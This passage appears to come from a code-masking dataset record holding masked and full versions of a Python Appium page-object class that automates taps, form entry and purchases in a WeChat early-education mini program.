click_again_btn(self):\n self.click(self.again_btn_loc)\n <mask token>\n\n def text_payment(self):\n return self.get_text(self.payment_loc)\n <mask token>\n\n def element_typewriting_finish_btn(self):\n return self.find_element(self.typewriting_finish_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def element_clock_btn(self):\n return self.find_element(self.clock_btn_loc)\n <mask token>\n\n def element_no_clock_btn(self):\n return self.find_element(self.no_clock_btn_loc)\n <mask token>\n <mask token>\n <mask token>\n\n def click_upload_card_btn(self):\n self.click(self.upload_card_btn_loc)\n <mask token>\n\n def click_again_upload_card_btn(self):\n self.click(self.again_upload_card_btn_loc)\n <mask token>\n\n def click_save_img_btn(self):\n self.click(self.save_img_btn_loc)\n <mask token>\n\n def click_copy_text_btn(self):\n self.click(self.copy_text_btn_loc)\n <mask token>\n\n def element_copy_format_btn(self):\n return self.find_element(self.copy_format_btn_loc)\n <mask token>\n\n def click_card_go_btn(self):\n self.click(self.card_go_btn_loc)\n <mask token>\n\n def click_upload_btn(self):\n self.click(self.upload_btn_loc)\n <mask token>\n\n def element_today_card_btn(self):\n return self.find_element(self.today_card_btn_loc)\n <mask token>\n\n def click_reset_img_btn(self):\n self.click(self.reset_img_btn_loc)\n <mask token>\n\n def element_generated_loading(self):\n return self.find_element(self.generated_loading_loc)\n <mask token>\n\n def element_reminder_btn(self):\n return self.find_element(self.reminder_btn_loc)\n <mask token>\n\n def element_page_expired(self):\n return self.find_element(self.page_expired_loc)\n <mask token>\n\n def click_x_btn(self):\n self.click(self.x_btn_loc)\n",
"step-4": "<mask token>\n\n\nclass Zaojiaopage(Crazy):\n <mask token>\n <mask token>\n\n def click_zao(self):\n self.click(self.zao_btn_loc)\n\n def element_zao(self):\n return self.find_element(self.zao_btn_loc)\n <mask token>\n\n def click_find(self):\n self.click(self.find_loc)\n <mask token>\n\n def click_title_btn(self):\n self.click(self.title_btn_loc)\n <mask token>\n\n def element_helper(self):\n return self.find_element(self.helper_loc)\n\n def click_helper(self):\n self.click(self.helper_loc)\n <mask token>\n\n def click_small_help_btn(self):\n self.click(self.small_help_btn_loc)\n <mask token>\n\n def element_small_name(self):\n return self.find_element(self.small_name_loc)\n\n def click_small_name(self):\n self.click(self.small_name_loc)\n <mask token>\n\n def click_switching_applet_btn(self):\n self.click(self.switching_applet_btn_loc)\n <mask token>\n\n def click_delete_small_btn(self):\n self.click(self.delete_small_btn_loc)\n <mask token>\n\n def element_edition_btn(self):\n return self.find_element(self.edition_btn_loc)\n <mask token>\n\n def element_delete_small1_btn(self):\n return self.find_element(self.delete_small1_btn_loc)\n <mask token>\n\n def click_version_btn(self):\n self.click(self.version_btn_loc)\n <mask token>\n\n def clicks_experience_version_btn(self):\n self.clicks(self.experience_version_btn_loc, -1)\n <mask token>\n\n def element_audition_class_btn(self):\n return self.find_element(self.audition_class_btn_loc)\n\n def click_audition_class_btn(self):\n self.click(self.audition_class_btn_loc)\n <mask token>\n\n def click_wechat_grant_btn(self):\n self.click(self.wechat_grant_btn_loc)\n\n def double_click_wechat_grant(self):\n self.double_click(self.wechat_grant_btn_loc)\n\n def element_wechat_grant_btn(self):\n return self.find_element(self.wechat_grant_btn_loc)\n <mask token>\n\n def click_allow_btn(self):\n self.click(self.allow_btn_loc)\n <mask token>\n\n def click_mouth_btn(self):\n self.click(self.month_btn_loc)\n <mask token>\n\n def click_sure_btn(self):\n self.click(self.sure_btn_loc)\n <mask token>\n\n def class_info_btn(self):\n self.click(self.class_info_loc)\n <mask token>\n\n def element_attend_lectures_btn(self):\n return self.find_element(self.attend_lectures_btn_loc)\n\n def click_attend_lectures_btn(self):\n self.click(self.attend_lectures_btn_loc)\n <mask token>\n\n def element_class_btn(self):\n return self.find_element(self.class_btn_loc)\n <mask token>\n\n def click_get_to_know_btn(self):\n self.click(self.get_to_know_btn_loc)\n\n def element_get_to_know_btn(self):\n return self.find_element(self.get_to_know_btn_loc)\n <mask token>\n\n def click_sure_buy_btn(self):\n self.click(self.sure_buy_btn_loc)\n <mask token>\n\n def input_buy_password(self, paw):\n self.send_keys(self.buy_password_loc, paw)\n <mask token>\n\n def text_buy_money(self):\n return self.get_text(self.check_buy_money_loc)\n <mask token>\n\n def click_success_btn(self):\n self.click(self.success_btn_loc)\n <mask token>\n\n def click_check_address_btn(self):\n self.click(self.check_address_btn_loc)\n\n def element_check_address_btn(self):\n return self.find_element(self.check_address_btn_loc)\n <mask token>\n\n def click_add_address_btn(self):\n self.click(self.add_address_btn_loc)\n <mask token>\n\n def input_name_btn(self, name):\n self.send_keys(self.name_loc, name)\n <mask token>\n\n def input_phone_btn(self, phone):\n self.send_keys(self.phone_btn_loc, phone)\n <mask token>\n\n def click_region_btn(self):\n self.click(self.region_btn_loc)\n <mask token>\n\n def input_detailed_address_btn(self, address):\n self.send_keys(self.detailed_address_btn_loc, address)\n <mask token>\n\n def click_save_btn(self):\n self.click(self.save_btn_loc)\n <mask token>\n\n def click_receive_btn(self):\n self.click(self.receive_btn_loc)\n <mask token>\n\n def elements_addressee(self):\n return self.find_elements(self.addressee_loc)\n\n def clicks_addressee(self):\n self.clicks(self.addressee_loc, 0)\n <mask token>\n\n def element_know(self):\n return self.find_element(self.know_btn_loc)\n\n def click_know(self):\n self.click(self.know_btn_loc)\n <mask token>\n\n def element_all_curriculum_btn(self):\n return self.find_element(self.all_curriculum_btn_loc)\n\n def click_all_curriculum_btn(self):\n self.click(self.all_curriculum_btn_loc)\n <mask token>\n\n def element_curriculum_date_btn(self):\n return self.find_element(self.curriculum_date_btn_loc)\n <mask token>\n\n def element_my_btn(self):\n return self.find_element(self.my_btn_loc)\n\n def click_my(self):\n self.click(self.my_btn_loc)\n <mask token>\n\n def click_my_baby(self):\n self.click(self.my_baby_btn_loc)\n <mask token>\n\n def text_my_baby_title(self):\n return self.get_text(self.my_baby_title_loc)\n\n def elements_title(self):\n return self.find_elements(self.my_baby_title_loc)\n <mask token>\n\n def element_new_baby_btn(self):\n return self.find_element(self.new_baby_btn_loc)\n\n def click_new_baby_btn(self):\n self.click(self.new_baby_btn_loc)\n\n def clicks_new_baby_btn(self, n):\n self.clicks(self.new_baby_btn_loc, n)\n <mask token>\n\n def element_get_set(self):\n return self.find_element(self.get_set_loc)\n <mask token>\n\n def click_next(self):\n self.click(self.next_btn_loc)\n <mask token>\n\n def inputs_baby_name(self, name, n):\n self.sends_keys(self.baby_name_loc, name, n)\n <mask token>\n\n def click_baby_bir_btn(self):\n self.click(self.baby_bir_btn_loc)\n <mask token>\n\n def click_finish_btn(self):\n self.click(self.finish_btn_loc)\n\n def clicks_finish_btn(self, n):\n self.clicks(self.finish_btn_loc, n)\n <mask token>\n\n def click_my_home(self):\n self.click(self.my_home_loc)\n\n def element_my_home(self):\n return self.find_element(self.my_home_loc)\n <mask token>\n\n def click_switch_btn(self):\n self.click(self.switch_btn_loc)\n <mask token>\n\n def click_baby_bri(self):\n self.click(self.baby_bri_loc)\n <mask token>\n\n def clicks_class_img(self):\n self.clicks(self.class_img_btn_loc, 0)\n <mask token>\n\n def click_collection_btn(self):\n self.click(self.collection_btn_loc)\n\n def clicks_collection_btn(self, n):\n self.clicks(self.collection_btn_loc, n)\n\n def element_collection_btn(self):\n return self.find_element(self.collection_btn_loc)\n <mask token>\n\n def click_write_record_btn(self):\n self.click(self.write_record_btn_loc)\n\n def clicks_write_record_btn(self, n):\n self.clicks(self.write_record_btn_loc, n)\n <mask token>\n\n def click_album_btn(self):\n self.click(self.album_btn_loc)\n\n def element_album_btn(self):\n return self.find_element(self.album_btn_loc)\n <mask token>\n\n def click_small_video_btn(self):\n self.click(self.small_video_btn_loc)\n\n def element_small_video_btn(self):\n return self.find_element(self.small_video_btn_loc)\n <mask token>\n\n def click_release_btn(self):\n self.click(self.release_btn_loc)\n\n def clicks_release_btn(self, n):\n self.clicks(self.release_btn_loc, n)\n\n def element_record_info(self, data):\n record_info_loc = 'xpath', '//*[contains(@text, \"{}\")]'.format(data)\n record_info = self.find_element(record_info_loc)\n if record_info:\n return True\n else:\n return False\n <mask token>\n\n def click_class_name(self):\n self.click(self.class_name_loc)\n\n def clicks_class_name(self, n):\n self.clicks(self.class_name_loc, n)\n\n def elements_class_name(self):\n return self.find_elements(self.class_name_loc)\n <mask token>\n\n def click_class2_name(self):\n self.click(self.class_name2_loc)\n\n def clicks_class2_name(self, n):\n self.clicks(self.class_name2_loc, n)\n <mask token>\n\n def input_write_text(self, text):\n self.send_keys(self.write_text_loc, text)\n\n def inputs_write_text(self, text, n):\n self.sends_keys(self.write_text_loc, text, n)\n <mask token>\n\n def clicks_choice_album(self, n):\n self.clicks(self.choice_album_loc, n)\n\n def elements_choice_album(self):\n return self.find_elements(self.choice_album_loc)\n <mask token>\n\n def click_complete_btn(self):\n self.click(self.complete_btn_loc)\n <mask token>\n\n def click_my_collection_btn(self):\n self.click(self.my_collection_btn_loc)\n <mask token>\n\n def elements_my_collection_english_course_btn(self):\n return self.find_elements(self.my_collection_english_course_btn_loc)\n <mask token>\n\n def elements_my_collection_game_course_btn(self):\n return self.find_elements(self.my_collection_game_course_btn_loc)\n <mask token>\n\n def click_my_course_btn(self):\n self.click(self.my_course_btn_loc)\n <mask token>\n\n def elements_my_course_buy_btn(self):\n return self.find_elements(self.my_course_buy_btn_loc)\n <mask token>\n\n def click_my_order_btn(self):\n self.click(self.my_order_btn_loc)\n <mask token>\n\n def elements_my_order_card_btn(self):\n return self.find_elements(self.my_order_card_btn_loc)\n <mask token>\n\n def click_my_record_btn(self):\n self.click(self.my_record_btn_loc)\n <mask token>\n\n def elements_my_record_class_btn(self):\n return self.find_elements(self.my_record_class_btn_loc)\n <mask token>\n\n def element_back_btn(self):\n return self.find_element(self.back_btn_loc)\n\n def click_back_btn(self):\n self.click(self.back_btn_loc)\n <mask token>\n\n def click_reply_5(self):\n self.click(self.reply_5_loc)\n\n def elements_reply_5(self):\n return self.find_elements(self.reply_5_loc)\n <mask token>\n\n def click_add_to_btn(self):\n self.click(self.add_to_btn_loc)\n <mask token>\n\n def input_reply_5(self, num):\n self.send_keys(self.reply_input_5_loc, num)\n <mask token>\n\n def click_send(self):\n self.click(self.send_5_loc)\n <mask token>\n\n def elements_reply_code(self):\n return self.find_elements(self.reply_code_loc)\n\n def clicks_reply_code(self, n):\n self.clicks(self.reply_code_loc, n)\n <mask token>\n\n def element_long_code(self):\n return self.find_element(self.long_code_loc)\n\n def click_long_code(self):\n self.click(self.long_code_loc)\n <mask token>\n\n def click_discern_code(self):\n self.click(self.discern_code_loc)\n <mask token>\n\n def text_class_group(self):\n return self.get_text(self.class_group_loc)\n <mask token>\n\n def element_add_group_chat(self):\n return self.find_element(self.add_group_chat_loc)\n <mask token>\n\n def elements_reply_8(self):\n return self.find_elements(self.reply_8_loc)\n <mask token>\n\n def element_parent_btn(self):\n return self.find_element(self.parent_btn_loc)\n <mask token>\n\n def elements_info_btn(self):\n return self.find_elements(self.info_btn_loc)\n\n def clicks_info_btn(self, n):\n self.clicks(self.info_btn_loc, n)\n <mask token>\n\n def click_more_games_btn(self):\n self.click(self.more_games_btn_loc)\n <mask token>\n\n def click_look_all_btn(self):\n self.click(self.look_all_btn_loc)\n\n def element_look_all_btn(self):\n return self.find_elements(self.look_all_btn_loc)\n <mask token>\n\n def text_start_fingerprint_buy(self):\n return self.get_text(self.start_fingerprint_buy_loc)\n <mask token>\n\n def click_no_more_reminder_btn(self):\n self.click(self.no_more_reminder_btn_loc)\n <mask token>\n\n def click_cancel_btn(self):\n self.click(self.cancel_btn_loc)\n <mask token>\n\n def element_usd_password(self):\n return self.find_element(self.usd_password_loc)\n\n def click_usd_password(self):\n self.click(self.usd_password_loc)\n <mask token>\n\n def element_password_error(self):\n return self.find_element(self.password_error_loc)\n <mask token>\n\n def click_again_btn(self):\n self.click(self.again_btn_loc)\n <mask token>\n\n def text_payment(self):\n return self.get_text(self.payment_loc)\n <mask token>\n\n def element_typewriting_finish_btn(self):\n return self.find_element(self.typewriting_finish_btn_loc)\n\n def click_typewriting_finish_btn(self):\n self.click(self.typewriting_finish_btn_loc)\n <mask token>\n\n def click_clock_btn(self):\n self.click(self.clock_btn_loc)\n\n def element_clock_btn(self):\n return self.find_element(self.clock_btn_loc)\n <mask token>\n\n def element_no_clock_btn(self):\n return self.find_element(self.no_clock_btn_loc)\n <mask token>\n\n def click_get_card_btn(self):\n self.click(self.get_card_btn_loc)\n <mask token>\n\n def click_upload_card_btn(self):\n self.click(self.upload_card_btn_loc)\n <mask token>\n\n def click_again_upload_card_btn(self):\n self.click(self.again_upload_card_btn_loc)\n <mask token>\n\n def click_save_img_btn(self):\n self.click(self.save_img_btn_loc)\n <mask token>\n\n def click_copy_text_btn(self):\n self.click(self.copy_text_btn_loc)\n <mask token>\n\n def element_copy_format_btn(self):\n return self.find_element(self.copy_format_btn_loc)\n <mask token>\n\n def click_card_go_btn(self):\n self.click(self.card_go_btn_loc)\n <mask token>\n\n def click_upload_btn(self):\n self.click(self.upload_btn_loc)\n <mask token>\n\n def element_today_card_btn(self):\n return self.find_element(self.today_card_btn_loc)\n <mask token>\n\n def click_reset_img_btn(self):\n self.click(self.reset_img_btn_loc)\n <mask token>\n\n def element_generated_loading(self):\n return self.find_element(self.generated_loading_loc)\n <mask token>\n\n def element_reminder_btn(self):\n return self.find_element(self.reminder_btn_loc)\n <mask token>\n\n def element_page_expired(self):\n return self.find_element(self.page_expired_loc)\n <mask token>\n\n def click_x_btn(self):\n self.click(self.x_btn_loc)\n",
"step-5": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/4/14 14:31\n# @Author : lixiaofeng\n# @File : page_zaojiao.py\n# @Software: PyCharm\n# @desc :\n\nfrom common.basics import Crazy\n\n\nclass Zaojiaopage(Crazy):\n \"\"\"早教小程序\"\"\"\n\n zao_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/cx\" and @text=\"包妈优选\"]')\n\n # zao_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/cx\" and @text=\"小小包早教\"]')\n\n def click_zao(self):\n self.click(self.zao_btn_loc)\n\n def element_zao(self):\n return self.find_element(self.zao_btn_loc)\n\n find_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/d7b\" and @text=\"发现\"]') # 发现按钮\n\n def click_find(self):\n self.click(self.find_loc)\n\n title_btn_loc = ('xpath', '//*[@resource-id=\"android:id/title\" and @text=\"小程序\"]') # 发现页小程序按钮\n\n def click_title_btn(self):\n self.click(self.title_btn_loc)\n\n helper_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/c5\" and @text=\"小程序助手\"]') # 小程序助手\n\n def element_helper(self):\n return self.find_element(self.helper_loc)\n\n def click_helper(self):\n self.click(self.helper_loc)\n\n small_help_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/cx\" and @text=\"小程序助手\"]') # 小程序助手\n\n def click_small_help_btn(self):\n self.click(self.small_help_btn_loc)\n\n small_name_loc = ('xpath', '//*[contains(@text, \"包妈优选\")]') # 包妈优选\n\n def element_small_name(self):\n return self.find_element(self.small_name_loc)\n\n def click_small_name(self):\n self.click(self.small_name_loc)\n\n switching_applet_btn_loc = ('xpath', '//*[contains(@text, \"切换小程序\")]') # 切换小程序\n\n def click_switching_applet_btn(self):\n self.click(self.switching_applet_btn_loc)\n\n delete_small_btn_loc = ('xpath', '//*[contains(@text, \"删除\")]') # 删除小程序按钮\n\n def click_delete_small_btn(self):\n self.click(self.delete_small_btn_loc)\n\n edition_btn_loc = ('xpath', '//*[contains(@text, \"百宝福利Buy\")]')\n\n def element_edition_btn(self):\n return self.find_element(self.edition_btn_loc)\n\n delete_small1_btn_loc = ('xpath', '//*[contains(@text, \"拖动到此处删除\")]')\n\n def element_delete_small1_btn(self):\n return self.find_element(self.delete_small1_btn_loc)\n\n version_btn_loc = ('xpath', '//*[contains(@text, \"版本查看\")]') # 版本查看按钮\n\n def click_version_btn(self):\n self.click(self.version_btn_loc)\n\n experience_version_btn_loc = ('xpath', '//*[contains(@text, \"6.0.09\")]') # 体验版\n\n def clicks_experience_version_btn(self):\n self.clicks(self.experience_version_btn_loc, -1)\n\n audition_class_btn_loc = ('xpath', '//*[contains(@text, \"0元领取10节试听课\")]') # 领取试听课\n\n def element_audition_class_btn(self):\n return self.find_element(self.audition_class_btn_loc)\n\n def click_audition_class_btn(self):\n self.click(self.audition_class_btn_loc)\n\n wechat_grant_btn_loc = (('xpath', '//*[contains(@text, \"微信授权\") and @class=\"android.widget.Button\" ]')) # 微信授权\n\n def click_wechat_grant_btn(self):\n self.click(self.wechat_grant_btn_loc)\n\n def double_click_wechat_grant(self):\n self.double_click(self.wechat_grant_btn_loc)\n\n def element_wechat_grant_btn(self):\n return self.find_element(self.wechat_grant_btn_loc)\n\n allow_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/st\" and @text=\"允许\"]') # 完成按钮\n\n def click_allow_btn(self):\n self.click(self.allow_btn_loc)\n\n month_btn_loc = ('xpath', '//*[contains(@text, \"2018\")]') # 选择月份\n\n def click_mouth_btn(self):\n self.click(self.month_btn_loc)\n\n sure_btn_loc = ('xpath', '//*[contains(@text, \"确定\")]') # 确定按钮\n\n def click_sure_btn(self):\n self.click(self.sure_btn_loc)\n\n class_info_loc = ('xpath', '//*[contains(@text, \"课程介绍\")]') # 课程介绍\n\n # class_info_loc = ('xpath', '//android.widget.FrameLayout/android.view.ViewGroup[0]') # 课程介绍\n\n def class_info_btn(self):\n self.click(self.class_info_loc)\n\n attend_lectures_btn_loc = ('xpath', '//*[contains(@text, \"立即听课\")]') # 立即听课\n\n def element_attend_lectures_btn(self):\n return self.find_element(self.attend_lectures_btn_loc)\n\n def click_attend_lectures_btn(self):\n self.click(self.attend_lectures_btn_loc)\n\n class_btn_loc = ('xpath', '//*[contains(@text, \"预备课 预备课\")]') # 预备课 预备课\n\n def element_class_btn(self):\n return self.find_element(self.class_btn_loc)\n\n get_to_know_btn_loc = ('xpath', '//*[contains(@text, \"立即了解正式课 \")]') # 立即了解正式课\n\n def click_get_to_know_btn(self):\n self.click(self.get_to_know_btn_loc)\n\n def element_get_to_know_btn(self):\n return self.find_element(self.get_to_know_btn_loc)\n\n sure_buy_btn_loc = ('xpath', '//*[contains(@text, \"立即购买\")]') # 立即购买\n\n def click_sure_buy_btn(self):\n self.click(self.sure_buy_btn_loc)\n\n buy_password_loc = ('id', 'com.tencent.mm:id/cfs') # 输入支付密码\n\n def input_buy_password(self, paw):\n self.send_keys(self.buy_password_loc, paw)\n\n check_buy_money_loc = ('id', 'com.tencent.mm:id/dlh') # 获取支付金额\n\n def text_buy_money(self):\n return self.get_text(self.check_buy_money_loc)\n\n success_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/f8o\" and @text=\"完成\"]') # 完成按钮\n\n def click_success_btn(self):\n self.click(self.success_btn_loc)\n\n check_address_btn_loc = ('xpath', '//*[contains(@text, \"收货地址：请选择地址\")]') # 选择收货地址\n\n def click_check_address_btn(self):\n self.click(self.check_address_btn_loc)\n\n def element_check_address_btn(self):\n return self.find_element(self.check_address_btn_loc)\n\n add_address_btn_loc = ('xpath', '//*[contains(@text, \"添加地址\")]') # 添加地址\n\n def click_add_address_btn(self):\n self.click(self.add_address_btn_loc)\n\n name_loc = ('xpath', '//*[contains(@text, \"请输入你的姓名\")]') # 请输入你的姓名\n\n def input_name_btn(self, name):\n self.send_keys(self.name_loc, name)\n\n phone_btn_loc = ('xpath', '//*[contains(@text, \"请填写收件人电话\")]') # 请填写收件人电话\n\n def input_phone_btn(self, phone):\n self.send_keys(self.phone_btn_loc, phone)\n\n region_btn_loc = ('xpath', '//*[contains(@text, \"请输入你所在地区\")]') # 请输入你所在地区\n\n def click_region_btn(self):\n self.click(self.region_btn_loc)\n\n detailed_address_btn_loc = ('xpath', '//*[contains(@text, \"请输入你的详细地址\")]') # 请输入你的详细地址\n\n def input_detailed_address_btn(self, address):\n self.send_keys(self.detailed_address_btn_loc, address)\n\n save_btn_loc = ('xpath', '//*[contains(@text, \"保存\")]') # 保存\n\n def click_save_btn(self):\n self.click(self.save_btn_loc)\n\n receive_btn_loc = ('xpath', '//*[contains(@text, \"立即领取\")]') # 立即领取\n\n def click_receive_btn(self):\n self.click(self.receive_btn_loc)\n\n addressee_loc = ('xpath', '//*[contains(@text, \"收件人：\")]') # 地址列表是否有地址信息\n\n def elements_addressee(self):\n return self.find_elements(self.addressee_loc)\n\n def clicks_addressee(self):\n self.clicks(self.addressee_loc, 0)\n\n know_btn_loc = ('xpath', '//*[contains(@text, \"知道了\")]') # 地址列表是否有地址信息\n\n def element_know(self):\n return self.find_element(self.know_btn_loc)\n\n def click_know(self):\n self.click(self.know_btn_loc)\n\n all_curriculum_btn_loc = ('xpath', '//*[contains(@text, \"查看全部课程\")]') # 查看全部课程\n\n def element_all_curriculum_btn(self):\n return self.find_element(self.all_curriculum_btn_loc)\n\n def click_all_curriculum_btn(self):\n self.click(self.all_curriculum_btn_loc)\n\n curriculum_date_btn_loc = ('xpath', '//*[contains(@text, \"2019-0\")]') # 历史推送\n\n def element_curriculum_date_btn(self):\n return self.find_element(self.curriculum_date_btn_loc)\n\n my_btn_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/ct\" and @text=\"我的\"]') # 我的\n\n def element_my_btn(self):\n return self.find_element(self.my_btn_loc)\n\n def click_my(self):\n self.click(self.my_btn_loc)\n\n my_baby_btn_loc = ('xpath', '//*[contains(@text, \"我的宝宝\")]') # 我的宝宝\n\n def click_my_baby(self):\n self.click(self.my_baby_btn_loc)\n\n my_baby_title_loc = ('id', 'com.tencent.mm:id/ox')\n\n def text_my_baby_title(self):\n return self.get_text(self.my_baby_title_loc)\n\n def elements_title(self):\n return self.find_elements(self.my_baby_title_loc)\n\n new_baby_btn_loc = ('xpath', '//*[contains(@text, \"新建宝宝\")]') # 新建宝宝\n\n def element_new_baby_btn(self):\n return self.find_element(self.new_baby_btn_loc)\n\n def click_new_baby_btn(self):\n self.click(self.new_baby_btn_loc)\n\n def clicks_new_baby_btn(self, n):\n self.clicks(self.new_baby_btn_loc, n)\n\n get_set_loc = ('xpath', '//*[contains(@text, \"预备课 预备课\")]') # 新建宝宝\n\n def element_get_set(self):\n return self.find_element(self.get_set_loc)\n\n next_btn_loc = ('xpath', '//*[contains(@text, \"下一步\")]') # 我的宝宝\n\n def click_next(self):\n self.click(self.next_btn_loc)\n\n baby_name_loc = ('xpath', '//*[contains(@text, \"请输入宝宝姓名\")]') # 请输入宝宝姓名\n\n def inputs_baby_name(self, name, n):\n self.sends_keys(self.baby_name_loc, name, n)\n\n baby_bir_btn_loc = ('xpath', '//*[contains(@text, \"宝宝的生日:\")]') # 宝宝的生日\n\n def click_baby_bir_btn(self):\n self.click(self.baby_bir_btn_loc)\n\n finish_btn_loc = ('xpath', '//*[contains(@text, \"完成\")]') # 完成按钮\n\n def click_finish_btn(self):\n self.click(self.finish_btn_loc)\n\n def clicks_finish_btn(self, n):\n self.clicks(self.finish_btn_loc, n)\n\n my_home_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/ct\" and @text=\"首页\"]') # 首页\n\n def click_my_home(self):\n self.click(self.my_home_loc)\n\n def element_my_home(self):\n return self.find_element(self.my_home_loc)\n\n switch_btn_loc = ('xpath', '//*[contains(@text, \"切换\")]') # 切换\n\n def click_switch_btn(self):\n self.click(self.switch_btn_loc)\n\n baby_bri_loc = ('xpath', '//*[contains(@text, \"宝宝生日：\")]') # 宝宝生日：\n\n def click_baby_bri(self):\n self.click(self.baby_bri_loc)\n\n class_img_btn_loc = ('xpath', 'android.widget.Image')\n\n def clicks_class_img(self):\n self.clicks(self.class_img_btn_loc, 0)\n\n collection_btn_loc = ('xpath', '//*[contains(@text, \"收藏\")]') # 收藏\n\n def click_collection_btn(self):\n self.click(self.collection_btn_loc)\n\n def clicks_collection_btn(self, n):\n self.clicks(self.collection_btn_loc, n)\n\n def element_collection_btn(self):\n return self.find_element(self.collection_btn_loc)\n\n write_record_btn_loc = ('xpath', '//*[contains(@text, \"写记录\") and @class=\"android.widget.Button\" ]') # 写记录按钮\n\n def click_write_record_btn(self):\n self.click(self.write_record_btn_loc)\n\n def clicks_write_record_btn(self, n):\n self.clicks(self.write_record_btn_loc, n)\n\n album_btn_loc = ('xpath', '//*[contains(@text, \"相册\")]') # 相册\n\n def click_album_btn(self):\n self.click(self.album_btn_loc)\n\n def element_album_btn(self):\n return self.find_element(self.album_btn_loc)\n\n small_video_btn_loc = ('xpath', '//*[contains(@text, \"小视频\")]') # 小视频\n\n def click_small_video_btn(self):\n self.click(self.small_video_btn_loc)\n\n def element_small_video_btn(self):\n return self.find_element(self.small_video_btn_loc)\n\n release_btn_loc = ('xpath', '//*[contains(@text, \"发布\")]') # 发布\n\n def click_release_btn(self):\n self.click(self.release_btn_loc)\n\n def clicks_release_btn(self, n):\n self.clicks(self.release_btn_loc, n)\n\n def element_record_info(self, data): # 判断是否定位到包含text的元素\n record_info_loc = ('xpath', '//*[contains(@text, \"{}\")]'.format(data))\n record_info = self.find_element(record_info_loc)\n if record_info:\n return True\n else:\n return False\n\n class_name_loc = ('xpath', '//*[contains(@text, \"歌曲\")]') # 课程名称\n\n # class_name_loc = ('xpath', '//*[contains(@text, \"歌曲：Head and shoulders\")]') # 课程名称\n\n def click_class_name(self):\n self.click(self.class_name_loc)\n\n def clicks_class_name(self, n):\n self.clicks(self.class_name_loc, n)\n\n def elements_class_name(self):\n return self.find_elements(self.class_name_loc)\n\n class_name2_loc = ('xpath', '//*[contains(@text, \"一起走\")]') # 课程名称\n\n # class_name2_loc = ('xpath', '//*[contains(@text, \"弹出来的画\")]') # 课程名称\n\n def click_class2_name(self):\n self.click(self.class_name2_loc)\n\n def clicks_class2_name(self, n):\n self.clicks(self.class_name2_loc, n)\n\n write_text_loc = ('xpath', '//*[contains(@text, \"0/1000\")]') # 写记录\n\n def input_write_text(self, text):\n self.send_keys(self.write_text_loc, text)\n\n def inputs_write_text(self, text, n):\n self.sends_keys(self.write_text_loc, text, n)\n\n choice_album_loc = ('id', 'com.tencent.mm:id/bpy')\n\n def clicks_choice_album(self, n):\n self.clicks(self.choice_album_loc, n)\n\n def elements_choice_album(self):\n return self.find_elements(self.choice_album_loc)\n\n complete_btn_loc = ('id', 'com.tencent.mm:id/ki') # 完成\n\n def click_complete_btn(self):\n self.click(self.complete_btn_loc)\n\n my_collection_btn_loc = ('xpath', '//*[contains(@text, \"我的收藏\")]') # 我的收藏\n\n def click_my_collection_btn(self):\n self.click(self.my_collection_btn_loc)\n\n my_collection_english_course_btn_loc = ('xpath', '//*[contains(@text, \"早教\")]') # 早教英语课\n\n def elements_my_collection_english_course_btn(self):\n return self.find_elements(self.my_collection_english_course_btn_loc)\n\n my_collection_game_course_btn_loc = ('xpath', '//*[contains(@text, \"宝宝游戏馆\")]') # 宝宝游戏馆\n\n def elements_my_collection_game_course_btn(self):\n return self.find_elements(self.my_collection_game_course_btn_loc)\n\n my_course_btn_loc = ('xpath', '//*[contains(@text, \"我的课程\")]') # 我的课程\n\n def click_my_course_btn(self):\n self.click(self.my_course_btn_loc)\n\n my_course_buy_btn_loc = ('xpath', '//*[contains(@text, \"早教核心课年卡\")]') # 早教核心课年卡\n\n def elements_my_course_buy_btn(self):\n return self.find_elements(self.my_course_buy_btn_loc)\n\n my_order_btn_loc = ('xpath', '//*[contains(@text, \"我的订单\")]') # 我的订单\n\n def click_my_order_btn(self):\n self.click(self.my_order_btn_loc)\n\n my_order_card_btn_loc = ('xpath', '//*[contains(@text, \"订单编号：\")]') # 订单编号：\n\n def elements_my_order_card_btn(self):\n return self.find_elements(self.my_order_card_btn_loc)\n\n my_record_btn_loc = ('xpath', '//*[contains(@text, \"成长记录\")]') # 成长记录\n\n def click_my_record_btn(self):\n self.click(self.my_record_btn_loc)\n\n my_record_class_btn_loc = ('xpath', '//*[contains(@text, \"#\")]') # # 测试英语课程组\n\n def elements_my_record_class_btn(self):\n return self.find_elements(self.my_record_class_btn_loc)\n\n back_btn_loc = (\n 'xpath', '//*[@resource-id=\"com.tencent.mm:id/on\" and @class=\"android.widget.LinearLayout\"]') # 返回按钮\n\n def element_back_btn(self):\n return self.find_element(self.back_btn_loc)\n\n def click_back_btn(self):\n self.click(self.back_btn_loc)\n\n reply_5_loc = ('xpath', '//android.widget.Image') # 回复5\n\n def click_reply_5(self):\n self.click(self.reply_5_loc)\n\n def elements_reply_5(self):\n return self.find_elements(self.reply_5_loc)\n\n add_to_btn_loc = ('xpath', '//*[contains(@text, \"立即添加\")]') # 立即添加\n\n def click_add_to_btn(self):\n self.click(self.add_to_btn_loc)\n\n reply_input_5_loc = ('id', 'com.tencent.mm:id/ami')\n\n def input_reply_5(self, num):\n self.send_keys(self.reply_input_5_loc, num)\n\n send_5_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/amp\" and @text=\"发送\"]') # 发送\n\n def click_send(self):\n self.click(self.send_5_loc)\n\n reply_code_loc = ('id', 'com.tencent.mm:id/ap9') # 获取回复的二维码\n\n def elements_reply_code(self):\n return self.find_elements(self.reply_code_loc)\n\n def clicks_reply_code(self, n):\n self.clicks(self.reply_code_loc, n)\n\n long_code_loc = ('id', 'com.tencent.mm:id/adi') # 长按二维码\n\n def element_long_code(self):\n return self.find_element(self.long_code_loc)\n\n def click_long_code(self):\n self.click(self.long_code_loc)\n\n discern_code_loc = ('xpath', '//*[@resource-id=\"com.tencent.mm:id/cx\" and @text=\"识别图中二维码\"]') # 识别图中二维码\n\n def click_discern_code(self):\n self.click(self.discern_code_loc)\n\n class_group_loc = ('id', 'android:id/text1') # 群名称\n\n def 